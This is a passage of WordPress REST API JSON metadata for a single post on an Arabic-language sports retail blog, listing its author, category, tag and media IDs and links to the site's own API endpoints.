\u0627\u0644\u062a\u0633\u0648\u0642&#8230;<\/p>\n","protected":false},"author":135,"featured_media":4498,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[224,226,1908],"tags":[2346,372,368],"class_list":["post-4374","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-224","category-226","category-1908","tag-arabicblog","tag-372","tag-368"],"_links":{"self":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/4374"}],"collection":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/users\/135"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/comments?post=4374"}],"version-history":[{"count":11,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/4374\/revisions"}],"predecessor-version":[{"id":46870,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/4374\/revisions\/46870"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media\/4498"}],"wp:attachment":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media?parent=4374"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/categories?post=4374"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/tags?post=4374"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}